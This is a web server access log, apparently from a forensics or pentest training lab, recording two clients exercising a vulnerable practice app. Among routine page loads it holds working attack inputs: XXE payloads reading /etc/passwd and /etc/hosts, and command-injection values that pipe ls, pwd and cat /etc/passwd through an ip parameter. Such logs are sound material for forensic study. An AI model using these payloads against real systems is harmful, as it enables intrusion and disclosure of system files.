10.0.0.19 - - [24/Jun/2020:12:42:29 +0000] "GET / HTTP/1.1" 200 1861 "-" "Mozilla/5.0 (Windows NT 10.0; rv:68.0) Gecko/20100101 Firefox/68.0" 10.0.0.19 - - [24/Jun/2020:12:42:29 +0000] "GET /css/bootstrap-responsive.css HTTP/1.1" 200 4540 "http://10.0.0.21/" "Mozilla/5.0 (Windows NT 10.0; rv:68.0) Gecko/20100101 Firefox/68.0" 10.0.0.19 - - [24/Jun/2020:12:42:29 +0000] "GET /css/bootstrap.css HTTP/1.1" 200 18255 "http://10.0.0.21/" "Mozilla/5.0 (Windows NT 10.0; rv:68.0) Gecko/20100101 Firefox/68.0" 10.0.0.19 - - [24/Jun/2020:12:42:29 +0000] "GET /dirtrav/example2.php?file=/var/www/files/hacker.png HTTP/1.1" 200 24461 "http://10.0.0.21/" "Mozilla/5.0 (Windows NT 10.0; rv:68.0) Gecko/20100101 Firefox/68.0" 10.0.0.19 - - [24/Jun/2020:12:42:29 +0000] "GET /dirtrav/example1.php?file=hacker.png HTTP/1.1" 200 24461 "http://10.0.0.21/" "Mozilla/5.0 (Windows NT 10.0; rv:68.0) Gecko/20100101 Firefox/68.0" 10.0.0.19 - - [24/Jun/2020:12:42:29 +0000] "GET /dirtrav/example3.php?file=hacker HTTP/1.1" 200 24462 "http://10.0.0.21/" "Mozilla/5.0 (Windows NT 10.0; rv:68.0) Gecko/20100101 Firefox/68.0" 10.0.0.19 - - [24/Jun/2020:12:42:29 +0000] "GET /favicon.ico HTTP/1.1" 200 14930 "-" "Mozilla/5.0 (Windows NT 10.0; rv:68.0) Gecko/20100101 Firefox/68.0" 10.0.0.19 - - [24/Jun/2020:12:42:32 +0000] "GET /xml/example1.php?xml=%3Ctest%3Ehacker%3C/test%3E HTTP/1.1" 200 896 "http://10.0.0.21/" "Mozilla/5.0 (Windows NT 10.0; rv:68.0) Gecko/20100101 Firefox/68.0" 10.0.0.19 - - [24/Jun/2020:12:43:11 +0000] "GET /xml/example1.php?xml=%3Ccourse%3Echfi%3C/course%3E HTTP/1.1" 200 894 "-" "Mozilla/5.0 (Windows NT 10.0; rv:68.0) Gecko/20100101 Firefox/68.0" 10.0.0.19 - - [24/Jun/2020:12:50:07 +0000] "GET /xml/example1.php?xml=%3C!DOCTYPE%20test%20%5B%3C!ENTITY%20xxe%20SYSTEM%20%22file%3A%2F%2F%2Fetc%2Fpasswd%22%3E%5D%3E%3Ctest%3E%26xxe%3B%3C%2Ftest%3E HTTP/1.1" 200 1336 "-" "Mozilla/5.0 (Windows NT 10.0; rv:68.0) Gecko/20100101 Firefox/68.0" 10.0.0.19 - - [24/Jun/2020:13:00:28 +0000] "GET /upload HTTP/1.1" 301 552 "-" "Mozilla/5.0 (Windows NT 10.0; rv:68.0) Gecko/20100101 Firefox/68.0" 10.0.0.19 - - [24/Jun/2020:13:00:28 +0000] "GET /upload/ HTTP/1.1" 200 354 "-" "Mozilla/5.0 (Windows NT 10.0; rv:68.0) Gecko/20100101 Firefox/68.0" 10.0.0.19 - - [24/Jun/2020:13:00:31 +0000] "GET /uploads/ HTTP/1.1" 404 497 "-" "Mozilla/5.0 (Windows NT 10.0; rv:68.0) Gecko/20100101 Firefox/68.0" 10.0.0.19 - - [24/Jun/2020:13:01:37 +0000] "GET /upload/access.log HTTP/1.1" 200 2233 "-" "Mozilla/5.0 (Windows NT 10.0; rv:68.0) Gecko/20100101 Firefox/68.0" 10.0.0.19 - - [24/Jun/2020:13:10:23 +0000] "GET /xml/example1.php?xml=%3C!DOCTYPE%20test%20[%3C!ENTITY%20xxe%20SYSTEM%20%22file%3A%2F%2F%2Fetc%2Fhosts%22%3E]%3E%3Ctest%3E%26xxe%3B%3C%2Ftest%3E HTTP/1.1" 200 976 "-" "Mozilla/5.0 (Windows NT 10.0; rv:68.0) Gecko/20100101 Firefox/68.0" 10.0.0.19 - - [24/Jun/2020:13:10:42 +0000] "GET /xml/example1.php? HTTP/1.1" 200 939 "-" "Mozilla/5.0 (Windows NT 10.0; rv:68.0) Gecko/20100101 Firefox/68.0" 10.0.0.19 - - [24/Jun/2020:13:10:46 +0000] "GET /xml/ HTTP/1.1" 200 354 "-" "Mozilla/5.0 (Windows NT 10.0; rv:68.0) Gecko/20100101 Firefox/68.0" 10.0.0.19 - - [24/Jun/2020:13:10:49 +0000] "GET / HTTP/1.1" 200 1860 "-" "Mozilla/5.0 (Windows NT 10.0; rv:68.0) Gecko/20100101 Firefox/68.0" 10.0.0.19 - - [24/Jun/2020:13:10:49 +0000] "GET /dirtrav/example1.php?file=hacker.png HTTP/1.1" 200 24461 "http://10.0.0.21/" "Mozilla/5.0 (Windows NT 10.0; rv:68.0) Gecko/20100101 Firefox/68.0" 10.0.0.19 - - [24/Jun/2020:13:10:49 +0000] "GET /dirtrav/example2.php?file=/var/www/files/hacker.png HTTP/1.1" 200 24461 "http://10.0.0.21/" "Mozilla/5.0 (Windows NT 10.0; rv:68.0) Gecko/20100101 Firefox/68.0" 10.0.0.19 - - [24/Jun/2020:13:10:49 +0000] "GET /dirtrav/example3.php?file=hacker HTTP/1.1" 200 24462 "http://10.0.0.21/" "Mozilla/5.0 (Windows NT 10.0; rv:68.0) Gecko/20100101 Firefox/68.0" 10.0.0.19 - - [24/Jun/2020:13:11:08 +0000] "GET /sqli/example1.php?name=root HTTP/1.1" 200 950 "http://10.0.0.21/" "Mozilla/5.0 (Windows NT 10.0; rv:68.0) Gecko/20100101 Firefox/68.0" 10.0.0.19 - - [24/Jun/2020:13:11:17 +0000] "GET /xml/example2.php?name=hacker HTTP/1.1" 200 895 "http://10.0.0.21/" "Mozilla/5.0 (Windows NT 10.0; rv:68.0) Gecko/20100101 Firefox/68.0" 10.0.0.19 - - [24/Jun/2020:13:11:48 +0000] "GET /upload/access.log HTTP/1.1" 200 4531 "-" "Mozilla/5.0 (Windows NT 10.0; rv:68.0) Gecko/20100101 Firefox/68.0" 10.0.0.8 - - [24/Jun/2020:13:24:59 +0000] "GET / HTTP/1.1" 200 1861 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:77.0) Gecko/20100101 Firefox/77.0" 10.0.0.8 - - [24/Jun/2020:13:25:00 +0000] "GET /css/bootstrap-responsive.css HTTP/1.1" 200 4540 "http://10.0.0.21/" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:77.0) Gecko/20100101 Firefox/77.0" 10.0.0.8 - - [24/Jun/2020:13:25:00 +0000] "GET /css/bootstrap.css HTTP/1.1" 200 18255 "http://10.0.0.21/" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:77.0) Gecko/20100101 Firefox/77.0" 10.0.0.8 - - [24/Jun/2020:13:25:00 +0000] "GET /dirtrav/example2.php?file=/var/www/files/hacker.png HTTP/1.1" 200 24461 "http://10.0.0.21/" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:77.0) Gecko/20100101 Firefox/77.0" 10.0.0.8 - - [24/Jun/2020:13:25:00 +0000] "GET /dirtrav/example1.php?file=hacker.png HTTP/1.1" 200 24461 "http://10.0.0.21/" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:77.0) Gecko/20100101 Firefox/77.0" 10.0.0.8 - - [24/Jun/2020:13:25:00 +0000] "GET /dirtrav/example3.php?file=hacker HTTP/1.1" 200 24462 "http://10.0.0.21/" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:77.0) Gecko/20100101 Firefox/77.0" 10.0.0.8 - - [24/Jun/2020:13:25:00 +0000] "GET /favicon.ico HTTP/1.1" 200 14930 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:77.0) Gecko/20100101 Firefox/77.0" 10.0.0.8 - - [24/Jun/2020:13:25:03 +0000] "GET /commandexec/example1.php?ip=127.0.0.1 HTTP/1.1" 200 1060 "http://10.0.0.21/" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:77.0) Gecko/20100101 Firefox/77.0" 10.0.0.8 - - [24/Jun/2020:13:25:17 +0000] "GET /commandexec/example1.php?ip=ls HTTP/1.1" 200 891 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:77.0) Gecko/20100101 Firefox/77.0" 10.0.0.8 - - [24/Jun/2020:13:25:41 +0000] "GET /commandexec/example1.php?ip=127.0.0.1|pwd HTTP/1.1" 200 907 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:77.0) Gecko/20100101 Firefox/77.0" 10.0.0.8 - - [24/Jun/2020:13:26:01 +0000] "GET /commandexec/example1.php?ip=127.0.0.1|ls HTTP/1.1" 200 915 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:77.0) Gecko/20100101 Firefox/77.0" 10.0.0.8 - - [24/Jun/2020:13:31:36 +0000] "GET /commandexec/example1.php?ip=127.0.0.1|cat+/etc/passwd HTTP/1.1" 200 1337 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:77.0) Gecko/20100101 Firefox/77.0"